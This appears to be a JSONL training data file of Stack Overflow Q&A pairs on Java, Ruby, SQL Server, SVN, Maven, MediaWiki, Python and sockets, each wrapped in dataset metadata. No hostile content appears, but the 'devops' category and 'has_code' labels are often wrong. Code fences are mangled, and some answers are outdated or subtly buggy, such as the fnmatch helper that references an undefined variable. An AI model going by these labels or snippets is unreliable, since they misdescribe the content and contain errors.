{"id": "hf_86a23c97b893", "question": "<p>I've been reading Skype4Java (java api for skype) and noticed they use jni to access the skype client.</p>\n\n<p>intuitively I'd assume that there already is a standard library in java that has an  OS-sensitive jni implementation to access other processes. I set up to look for one, but couldn't find it.</p>\n\n<p>Is there such a library? if not, is there a best practice to access another process in the os, not necessarily a skype client?</p>\n", "question_body": "", "answer": "From Java 1.4 onwards you can use memory mapped files to exchange arbitrary information with another process. See java.nio.MappedByteBuffer for details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.436404"}
{"id": "hf_93b1974d4036", "question": "<p>Imagine the following Ruby Module:</p>\n\n<pre><code>module Foo\n  def inst_method\n    puts \"Called Foo.inst_method\"\n  end\n  def self.class_method\n    puts \"Called Foo.class_method\"\n  end\nend\n</code></pre>\n\n<p>Obviously <code>Foo.class_method</code> can be called without any class instances. However, what's happening to <code>Foo.inst_method</code>? Is it possible to call <code>Foo.inst_method</code> without previously including/extending a class?</p>\n\n<p>Disclaimer: The question isn't focused on solving a real problem. I'm just trying to improve my understanding of the Ruby object system.</p>\n", "question_body": "", "answer": "My answer would be : \"no you can't call module instance methods without first extending or including that module in a class\"\nnow knowing ruby and all the meta programming trickery it contains there probably\nis\na way to call it but it would be outside the intended use of modules\n```\n```\nmodule Tester\n  def inst_meth\n    puts \"test inst meth\\n\"\n  end\n\n  def self.meth\n    puts \"test self meth\\n\"\n  end\nend\n\nbegin\n  Tester.meth\nrescue;\n  puts $!\nend\nbegin\n  Tester.inst_meth\nrescue\n  puts $!\nend\nbegin\n  Tester.new.inst_meth\nrescue\n  puts $!\nend\nbegin\n  extend Tester\n  inst_meth\nrescue\n  puts $!\nend\nbegin\n  include Tester\n  inst_meth\nrescue\n  puts $!\nend\n```\n```\ngives\n```\n```\n>ruby test.rb\ntest self meth\nundefined method `inst_meth' for Tester:Module\nundefined method `new' for Tester:Module\n test inst meth\n test inst meth\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.472450"}
{"id": "hf_77a332ddf286", "question": "<p>What's the difference between toolkits and frameworks? Do you know a good comparison?</p>\n", "question_body": "", "answer": "The names say it all really, a toolkit is a set of tools that you can use however you wish. A framework is an empty frame that you can fill in to form your application. The line between them is blurry though a framework contains tools, and a toolkit sometimes forces you to perform actions in a specific sequence.\nI wouldn't know of a generic comparison, i guess it depends on the toolkits and frameworks themselves.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.519384"}
{"id": "hf_c1160f2050e6", "question": "<p>I recently had to rename a table (and a column and FK/PK contraints) in SQL Server 2000 without losing an data. There did not seem to be an obvious DDL T-SQL statements for performing this action, so I used sp_rename to directly fiddle with object names.</p>\n\n<p>Was this the only solution to the problem? (other, than give the table the correct name in the first place - doh!)</p>\n", "question_body": "", "answer": "sp_rename is the correct way to do it.\n```\n```\nEXEC sp_rename 'Old_TableName', 'New_TableName'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.543015"}
{"id": "hf_219d196eae50", "question": "<p>I need to get the Class of an object at runtime.</p>\n\n<p>For an non-abstract class I could do something like:</p>\n\n<pre><code>public class MyNoneAbstract{\n    public static Class MYNONEABSTRACT_CLASS = new MyNoneAbstract().getClass();\n</code></pre>\n\n<p>But for an abstract class this does NOT work (always gives me <code>Object</code>)</p>\n\n<pre><code>public abstract class MyAbstract{\n    public static Class MYABSTRACT_CLASS = MyAbstract.class.getClass();\n</code></pre>\n\n<p>This code will be running in JavaME environments.</p>\n", "question_body": "", "answer": "You just need\n```\n```\nMyAbstract.class\n```\n```\nThat expression returns the Class object representing MyAbstract.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.607509"}
{"id": "hf_429fa25cf7a7", "question": "<p>Should methods in a Java interface be declared with or without the <code>public</code> access modifier?</p>\n\n<p>Technically it doesn't matter, of course. A class method that implements an <code>interface</code> is always <code>public</code>. But what is a better convention?</p>\n\n<p>Java itself is not consistent in this. See for instance <code>Collection</code> vs. <code>Comparable</code>, or <code>Future</code> vs. <code>ScriptEngine</code>.</p>\n", "question_body": "", "answer": "I always write what I would use if there was no interface and I was writing a direct implementation, i.e., I would use\n```\npublic\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.643739"}
{"id": "hf_5931ae5bb8c4", "question": "<p>I have two overloads of a c++ function and I would like to set a breakpoint on one of them:</p>\n\n<pre><code>0:000&gt; bu myexe!displayerror\nMatched: 00000000`ff3c6100 myexe!displayError (int, HRESULT, wchar_t *)\nMatched: 00000000`ff3c60d0 myexe!displayError (int, HRESULT)\nAmbiguous symbol error at 'myexe!displayerror'\n</code></pre>\n\n<p>Heck I would be fine with setting breakpoints on all overloads, but can't seem to figure out how:</p>\n\n<pre><code>0:000&gt; bu myexe!displayerror*\nMatched: 00000000`ff3c6100 myexe!displayError (int, HRESULT, wchar_t *)\nMatched: 00000000`ff3c60d0 myexe!displayError (int, HRESULT)\nAmbiguous symbol error at 'myexe!displayerror*'\n</code></pre>\n", "question_body": "", "answer": "Try:\n```\n```\nbu 0xff3c6100\n```\n```\nIf I remember right, WinDbg allows setting breakpoints by address too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.679928"}
{"id": "hf_bece93989cee", "question": "<p>Consider the following subversion directory structure</p>\n\n<p>/dir1/file.txt</p>\n\n<p>/dir2/file.txt</p>\n\n<p>I want to move the file.txt in dir1 to replace the same file in dir2 and ensure that the history for the dir1 file is maintained. I don't care about the history of original dir2 file.</p>\n\n<p>Is this possible using subversion commands and not hacking the backend?</p>\n", "question_body": "", "answer": "Firstly you should never consider hacking the backend - it negates the point of using SVN in the first place.\nI don't see why you couldn't just do\n```\n```\nsvn rm /dir2/file.txt\nsvn mv /dir1/file.txt /dir2/file.txt\n```\n```\nthe history of the file will follow it after the move.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.715901"}
{"id": "hf_db4add3687a6", "question": "<p>I'm trying to learn scheme via SICP. Exercise 1.3 reads as follow: Define a procedure that takes three numbers as arguments and returns the sum of the squares of the two larger numbers. Please comment on how I can improve my solution.</p>\n\n<pre><code>(define (big x y)\n    (if (&gt; x y) x y))\n\n(define (p a b c)\n    (cond ((&gt; a b) (+ (square a) (square (big b c))))\n          (else (+ (square b) (square (big a c))))))\n</code></pre>\n", "question_body": "", "answer": "Looks ok to me, is there anything specific you want to improve on?\nYou could do something like:\n```\n```\n(define (max2 . l)\n  (lambda ()\n    (let ((a (apply max l)))\n      (values a (apply max (remv a l))))))\n\n(define (q a b c)\n  (call-with-values (max2 a b c)\n    (lambda (a b)\n      (+ (* a a) (* b b)))))\n\n(define (skip-min . l)\n  (lambda ()\n    (apply values (remv (apply min l) l))))\n\n(define (p a b c)\n  (call-with-values (skip-min a b c)\n    (lambda (a b)\n      (+ (* a a) (* b b)))))\n```\n```\nAnd this (proc p) can be easily converted to handle any number of arguments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.740602"}
{"id": "hf_0f241728c805", "question": "<p>I noticed some code of a colleague today that initialized class variables in the initialization.  However it was causing a warning, he says because of the order they are in.  My question is why is it better to do variable initialization where it currently is and not within the curly brackets?</p>\n\n<pre><code>DiagramScene::DiagramScene( int slideNo, QRectF screenRect, MainWindow* parent )\n    : QGraphicsScene( screenRect, parent ),\n    myParent( parent ), \n    slideUndoImageCurrentIndex(-1),\n    nextGroupID(0),\n    m_undoInProgress(false),\n    m_deleteItemOnNextUndo(0)\n    line(0),\n    path(0)\n{\n    /* Setup default brush for background */\n    scDetail-&gt;bgBrush.setStyle(Qt::SolidPattern);\n    scDetail-&gt;bgBrush.setColor(Qt::white);\n    setBackgroundBrush(scDetail-&gt;bgBrush);\n\n}\n</code></pre>\n", "question_body": "", "answer": "It is more efficient (in general). All members of a class are initialised in the constructor, whether you explicitly initialise them or not. If you do not specify an initialiser, then the default constructor of the member is run. If you assign a value in the constructor body, then the assignment operator is called again. This does not apply to scalar values, as in your example, since scalar values do not have constructors.\nYou can't accidentally assign a value twice in the initialiser list.\nThe compiler can check to make sure that the order in which you write the initialisers matches the order in which the members are defined in the class. The C++ standard requires that the members are initialised in the order they are declared, regardless of the order you write the initialisers. Having the compiler check this order ensures that the programmer knows which order the initialisers will be run in (again, this is more important for non-POD members than for scalars).\nReference types and\n```\nconst\n```\nmembers must be initialised in the initialiser list, because you can't assign to a reference or to a\n```\nconst\n```\nmember.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.763254"}
{"id": "hf_9c094f314840", "question": "<p>I have a project using GWT and it displays data in a table.</p>\n\n<p>I need a Table for GWT that supports:</p>\n\n<ul>\n<li>sorting by particular column</li>\n<li>scrolling the data, while the header is immobile</li>\n<li>filtering rows for data searched in the table</li>\n</ul>\n\n<p>The project is being created for internal purpose of the company, so I look for a solution that does not require commercial licensing for such uses.</p>\n", "question_body": "", "answer": "Here is a table supporting sorting and filtering :\nhttp://code.google.com/p/gwt-advanced-table/\nGoogle itself is working on it. Look at this example in the incubator which supports multi-column sorting and fixed header but unfortunately no filtering :\nhttp://code.google.com/p/google-web-toolkit-incubator/wiki/ScrollTable\nOther grids and tables are available in the incubator at this address :\nhttp://code.google.com/docreader/#p=google-web-toolkit-incubator&s=google-web-toolkit-incubator&t=Tables\nExt GWT proposes a very nice table, but it is not free (in your case) :\nhttp://extjs.com/products/gxt/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.798000"}
{"id": "hf_cb23cedbb032", "question": "<p>You sometimes hear it said about Perl that there might be 6 different ways to approach the same problem.  Good Perl developers usually have well-reasoned insights for making choices between the various possible methods of implementation.</p>\n\n<p>So an example Perl problem:</p>\n\n<p>A simple script which recursively iterates through a directory structure, looking for files which were modified recently (after a certain date, which would be variable). Save the results to a file.</p>\n\n<p>The question, for Perl developers: What is your best way to accomplish this?</p>\n", "question_body": "", "answer": "I write a subroutine that reads a directory with\n```\nreaddir\n```\n, throws out the \".\" and \"..\" directories, recurses if it finds a new directory, and examines the files for what I'm looking for (in your case, you'll want to use\n```\nutime\n```\nor\n```\nstat\n```\n).  By time the recursion is done, every file should have been examined.\nI think all the functions you'd need for this script are described briefly here:\nhttp://www.cs.cf.ac.uk/Dave/PERL/node70.html\nThe semantics of input and output are a fairly trivial exercise which I'll leave to you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.822764"}
{"id": "hf_f18cfc722450", "question": "<p>I'm using a local artifactory to proxy the request, but the build and test phases are still a bit slow. It's not the actual compile and tests that are slow, it's the \"warmup\" of the maven2 framework. Any ideas?</p>\n", "question_body": "", "answer": "I don't know what version of Maven you are using, I assume 2, but I will give what I use for Maven 1.x to speed up and make things build a tiny bit quicker.\nThese will fork the junit tests into a new process (also helps when you use environment variables in tests etc and gives the tests a little more memory.\n```\n```\n-Dmaven.junit.fork=true\n-Dmaven.junit.jvmargs=-Xmx512m\n```\n```\nThis forks the compilation which might speed things up for you\n```\n```\n-Dmaven.compile.fork=true\n```\n```\nI hope this can help a little, try it out.\nAlso refer to\nget more speed with your maven2 build\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.858833"}
{"id": "hf_2c308a09329a", "question": "<p>I know there is already a <a href=\"https://stackoverflow.com/questions/133883/stop-and-start-a-service-via-batch-or-cmd-file\">question</a> about this but my issue is more oriented to remote scenarios.</p>\n\n<p>With <em>net start/stop</em> you can specify a <em>/y</em> parameter to bounce users off current sessions but you cannot start/stop remotely.</p>\n\n<p>With <em>sc</em> you can start/stop remotely but if the SQLServer instance is being used it won't let you stop the service (with a \"[SC] ControlService FAILED 1051: A stop control has been sent to a service that other running services are dependent on.\" message)</p>\n\n<p>So my question is: what's the best way of kicking out users stopping the SqlServer service remotely?</p>\n", "question_body": "", "answer": "I think the /y just answers Yes to the \"Are you sure?\" prompt. I'd think that sc could be used as well, though it may time out waiting for the service to stop if there's a lot of inflight transactions. Does it give you any specifics of why it can't stop?\nHere's a couple of other methods to stop a remote SQL instance. Except for SHUTDOWN WITH NOWAIT, I'd recommend any of them.\npsexec\nwill let you run net stop remotely.\nThere's also the\nSQL SHUTDOWN\ncommand - you can issue that WITH NOWAIT to avoid waiting for current transactions to finish and checkpointing, which will make shutdown faster (but subsequent startup slower, and could lead to lost data).\nOr you could use either\nConfiguration Manager\nor\nManagement Studio\nto stop a remote instance.\nEdit: The error is\npretty self explanatory\n. It means you must stop dependent services first. Sql Agent is probably at least one of them. Checking Admin Tools->Services will show you the rest.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.895847"}
{"id": "hf_725c7f56bc3b", "question": "<p>There are truckloads of counters available in perfmon for ASP.NET.  What are the best (I am thinking of choosing 5-10) that will be the best to monitor in our test environment so that we can feed back to developers.</p>\n\n<p>I am thinking of things like request time, request queue length, active sessions etc.</p>\n", "question_body": "", "answer": "For a normal (not performance/stress testing) you would be OK with the following:\nRequest Bytes Out Total\n(very important especially for web (not intranet) applications)\nRequests Failed\nRequests/Sec\nErrors During Execution\nErrors Unhandled During Execution\nSession SQL Server Connections Total\nState Server Sessions Active\nFor the performance testing you would probably want things like:\n% CPU Utilization\n(make sure you're checking for very low CPU utilisation as well as it might indicate that something is dead)\nRequests Queued\nOutput Cache Hits", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.934112"}
{"id": "hf_e5c9d2eef2f7", "question": "<p>How can I check if a given string is a valid URL address?</p>\n\n<p>My knowledge of regular expressions is basic and doesn't allow me to choose from the hundreds of regular expressions I've already seen on the web.</p>\n", "question_body": "", "answer": "The post\nGetting parts of a URL (Regex)\ndiscusses parsing a URL to identify its various components. If you want to check if a URL is well-formed, it should be sufficient for your needs.\nIf you need to check if it's actually valid, you'll eventually have to try to access whatever's on the other end.\nIn general, though, you'd probably be better off using a function that's supplied to you by your framework or another library. Many platforms include functions that parse URLs. For example, there's Python's\nurlparse\nmodule, and in .NET you could use the\nSystem.Uri class's constructor\nas a means of validating the URL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.963614"}
{"id": "hf_612fea7aa556", "question": "<p>I would like to allow the logged user to edit MediaWiki/Common.css without adding them to the sysop group.</p>\n\n<p>I understand that this will allow user to change it to harful ways but it is a closed wiki so that is not a problem.</p>\n\n<p>Any solution is acceptable even changing php code :)</p>\n", "question_body": "", "answer": "Create a new group, add give it \"editinterface\" privilege. In LocalSettings.php it's done like this:\n```\n```\n$wgGroupPermissions['mynewgroup']['editinterface'] = true;\n```\n```\nThen add the user to you new group.\nOr if you want to give that right to all logged-in users, do it like this:\n```\n```\n$wgGroupPermissions['user']['editinterface'] = true;\n// user is the default group for all logged-in users\n```\n```\nFor details see\nMediaWiki manual\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:19.991761"}
{"id": "hf_c28f42e0f1c5", "question": "<p>Ant has a nice way to select groups of files, most handily using ** to indicate a directory tree. E.g.</p>\n\n<pre><code>**/CVS/*            # All files immediately under a CVS directory.\nmydir/mysubdir/**   # All files recursively under mysubdir\n</code></pre>\n\n<p>More examples can be seen here:</p>\n\n<p><a href=\"http://ant.apache.org/manual/dirtasks.html\" rel=\"nofollow noreferrer\">http://ant.apache.org/manual/dirtasks.html</a></p>\n\n<p>How would you implement this in python, so that you could do something like:</p>\n\n<pre><code>files = get_files(\"**/CVS/*\")\nfor file in files:\n    print file\n\n=&gt;\nCVS/Repository\nmydir/mysubdir/CVS/Entries\nmydir/mysubdir/foo/bar/CVS/Entries\n</code></pre>\n", "question_body": "", "answer": "```\nos.walk\n```\nis your friend. Look at the example in the Python manual \n(\nhttps://docs.python.org/2/library/os.html#os.walk\n) and try to build something from that.\nTo match \"\n```\n**/CVS/*\n```\n\" against a file name you get, you can do something like this:\n```\n```\ndef match(pattern, filename):\n    if pattern.startswith(\"**\"):\n        return fnmatch.fnmatch(file, pattern[1:])\n    else:\n        return fnmatch.fnmatch(file, pattern)\n```\n```\nIn\n```\nfnmatch.fnmatch\n```\n, \"*\" matches anything (including slashes).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.016181"}
{"id": "hf_50713558fd4f", "question": "<p>What is the best MemCache solution for ASP.NET applications running in a windows server environment? Why?</p>\n", "question_body": "", "answer": "My sentiments exactly -\nMy Question\nFrom what I've gathered,\nmemcacheddotnet\nis the best free options,\nscaleout\nif you want to pay", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.074999"}
{"id": "hf_c1ab2598e295", "question": "<p>What are the main/best Maven repositories to use that will include the majority of your open source Java package dependencies.</p>\n\n<p>Also in what order should these be included? Does it matter?</p>\n", "question_body": "", "answer": "This is the current setup in the project we are building:\nMavenCentral\nObjectWeb\nJBoss Maven2\nand some snapshots (see below)\n```\n```\n<repository>\n    <id>MavenCentral</id>\n    <name>Maven repository</name>\n    <url>http://repo1.maven.org/maven2</url>\n    <releases>\n        <enabled>true</enabled>\n    </releases>\n    <snapshots>\n        <enabled>false</enabled>\n    </snapshots>\n</repository>\n<repository>\n    <id>objectweb</id>\n    <name>Objectweb repository</name>\n    <url>http://maven.objectweb.org/maven2</url>\n    <releases>\n        <enabled>true</enabled>\n    </releases>\n    <snapshots>\n        <enabled>false</enabled>\n    </snapshots>\n</repository>\n<repository>\n    <id>jboss</id>\n    <name>JBoss Maven2 repository</name>\n    <url>http://repository.jboss.com/maven2/</url>\n    <snapshots>\n        <enabled>false</enabled>\n    </snapshots>\n    <releases>\n        <enabled>true</enabled>\n    </releases>\n</repository>\n<repository>\n    <id>glassfish</id>\n    <name>Glassfish repository</name>\n    <url>http://download.java.net/maven/1</url>\n    <layout>legacy</layout>\n    <releases>\n        <enabled>true</enabled>\n    </releases>\n    <snapshots>\n        <enabled>false</enabled>\n    </snapshots>\n</repository>\n<repository>\n    <id>apache.snapshots</id>\n    <name>Apache Snapshot Repository</name>\n    <url>\n        http://people.apache.org/repo/m2-snapshot-repository\n    </url>\n    <releases>\n        <enabled>false</enabled>\n    </releases>\n    <snapshots>\n        <enabled>true</enabled>\n    </snapshots>\n</repository>\n<repository>\n    <id>ops4j.repository</id>\n    <name>OPS4J Repository</name>\n    <url>http://repository.ops4j.org/maven2</url>\n    <releases>\n        <enabled>true</enabled>\n    </releases>\n    <snapshots>\n        <enabled>false</enabled>\n    </snapshots>\n</repository>\n<repository>\n    <id>Codehaus Snapshots</id>\n    <url>http://snapshots.repository.codehaus.org/</url>\n    <snapshots>\n        <enabled>true</enabled>\n    </snapshots>\n    <releases>\n        <enabled>false</enabled>\n    </releases>\n</repository>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.182071"}
{"id": "hf_f149d6e2bdbe", "question": "<p>I need to control the data type when reading XML data in SAS. The XML data are written and accessed using the XML libname engine in SAS.</p>\n\n<p>SAS seems to guess the data type based on the contents of a column: If I write \"20081002\" to my XML data in a character column, it will be read back in as a numerical variable.</p>\n\n<p>An example:</p>\n\n<pre><code>filename my_xml '/tmp/my.xml'; * Yes, I use SAS on Unix *;\nlibname my_xml XML;\n\ndata my_xml.data_type_test;\n  text_char=\"This is obviously text\";\n  date_char=\"20081002\";\n  num_char=\"42\";\n  genuine_num=42;\nrun;\n\nproc copy inlib=my_xml outlib=WORK;\nrun;\n\nlibname my_xml;\nfilename my_xml CLEAR;\n</code></pre>\n\n<p>Only the last column is defined as numerical data type in the XML data, but when I copy it into my WORK library, only the column <em>text_char</em> is character. The other 3 are now numeric.</p>\n\n<p>How can I control the data type when reading XML data in SAS?</p>\n", "question_body": "", "answer": "I think you need to define some xml specific options whith your libname XML statement for export go:\n```\n```\nlibname my_xml_out XML XMLMETA=SCHEMADATA;\n```\n```\nTo include the data schema. Also, you might want to save the XML schema to a separate file for later import:\n```\n```\nlibname my_xml_in XML XMLSCHEMA='external-file'\n```\n```\nafter you exported the schema using\n```\nXMLMETA=SCHEMA\n```\nof course.\nI think\nthis is the documentation you need\n.\nApart from that liberal use of format statements on original dataset creation is recommended.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.216347"}
{"id": "hf_7839955f5942", "question": "<p>Is it possible to unlisten on a socket after you have called listen(fd, backlog)? </p>\n\n<p>Edit: My mistake for not making myself clear. I'd like to be able to temporarily unlisten on the socket. Calling close() will leave the socket in the M2LS state and prevent me from reopening it (or worse, some nefarious program could bind to that socket)</p>\n\n<p>Temporarily unlistening would be a way (maybe not the best way) to signal to an upstream load balancer that this app couldn't accept any more requests for the moment</p>\n", "question_body": "", "answer": "Close it. As I recall;\n```\n```\nclose(fd);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.241700"}
{"id": "hf_84fe00e421fc", "question": "<p>I would like to draw a diagram in HTML. The positioning structure looks like this:</p>\n<pre class=\"lang-html prettyprint-override\"><code>&lt;div id='hostDiv'&gt;\n  &lt;div id='backgroundDiv'&gt;\n    ... drawing the background ...\n  &lt;/div&gt;\n  &lt;div id='foregroundDiv' style='position: absolute;'&gt;\n    ... drawing the foreground ...\n  &lt;/div&gt;\n&lt;/div&gt;\n</code></pre>\n<p>The foreground contains a Table element that is dynamically populated with text, hence the row heights might alter depending on the amount of text going into a cell.\nHow can I predict the final height of the Table element in the foregroun? I need this information to set the correct height of the background. Is there a way to pre-render the Table from Javascript and read out its height? Or some other trick?</p>\n<p>PS. The size of the hostDiv may vary as the browser resizes.</p>\n", "question_body": "", "answer": "There isn't any way to predict the height without actually rendering it in the target browser.\nOnce you do that, you can use (for example)\njQuery\nto get the height of the element:\n```\n```\nvar height = $('#myTable').height();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.367688"}
{"id": "hf_893e1752e0c9", "question": "<p>Is it possible to create Selenium tests using the Firefox plugin that use randomly generated values to help do regression tests?</p>\n\n<p><strong>The full story:</strong>\nI would like to help my clients do acceptance testing by providing them with a suite of tests that use some smarts to create random (or at least pseudo-random) values for the database. One of the issues with my Selenium IDE tests at the moment is that they have predefined values - which makes some types of testing problematic.  </p>\n", "question_body": "", "answer": "First off, the Selenium IDE is rather limited, you should consider switching to Selenium RC, which can be driven by Java or Perl or Ruby or some other languages.\nUsing just Selenium IDE, you can embed JavaScript expressions to derive command parameters.\nYou should be able to type a random number into a text field, for example:\n```\n```\ntype fieldName javascript{Math.floor(Math.random()*11)}\n```\n```\nUpdate:\nYou can define helper functions in a file called \"user-extensions.js\". See the\nSelenium Reference\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.492654"}
{"id": "hf_f78937f2260a", "question": "<p>Assuming I have an open source web server or proxy I can enhance, let's say apache or squid. </p>\n\n<p>Is there a way to determine the time each client spends on a web page?</p>\n\n<p>HTTP is of course stateless, so it's not trivial, but maybe someone has an idea on how to approach this problem?</p>\n", "question_body": "", "answer": "Not without having some javascript constantly hit your server on the client side and then checking when it stops (but of course that assumes the user has javascript enabled). There are also various (ugly) ways to detect windows being closed with javascript, but of course these won't always trigger. eg. browser crash.\nI sort of wonder why you want this anyway. What if a person looks at the web page for 3 seconds, gets distracted by another tab/window but leaves your page open for 2 hours? The answer you get is 2 hours, the answer you (probably) want is 3 seconds.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.526276"}
{"id": "hf_914f31eecf35", "question": "<p>I have a Nant build file which executes NUnit after compiling the dll's. I am executing the NAnt build file with a  task in CruiseControl. So NAnt is running the tests not CruiseControl.</p>\n\n<p>How do I configure it so that the CruiseControl web dashboard can be used to view the NUnit output ?</p>\n\n<hr>\n\n<p>This fixed it:</p>\n\n<pre><code>&lt;publishers&gt;\n    &lt;merge&gt;\n        &lt;files&gt;\n                 &lt;file&gt;build\\*.test-result.xml&lt;/file&gt;\n        &lt;/files&gt;\n    &lt;/merge&gt;\n    &lt;xmllogger /&gt;\n &lt;/publishers&gt;\n</code></pre>\n", "question_body": "", "answer": "You want to use the merge capabilities of CruiseControl to grab your NUnit XML output.  This is the situation my company has going, and it seems to work fairly well.  Here is a config snippet (This goes in the <publishers> element in CCNet.config):\n```\n```\n<merge>\n     <files>\n         <file><path to XML output>\\*.xml</file>\n     </files>\n </merge>\n```\n```\nHope this works for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.562644"}
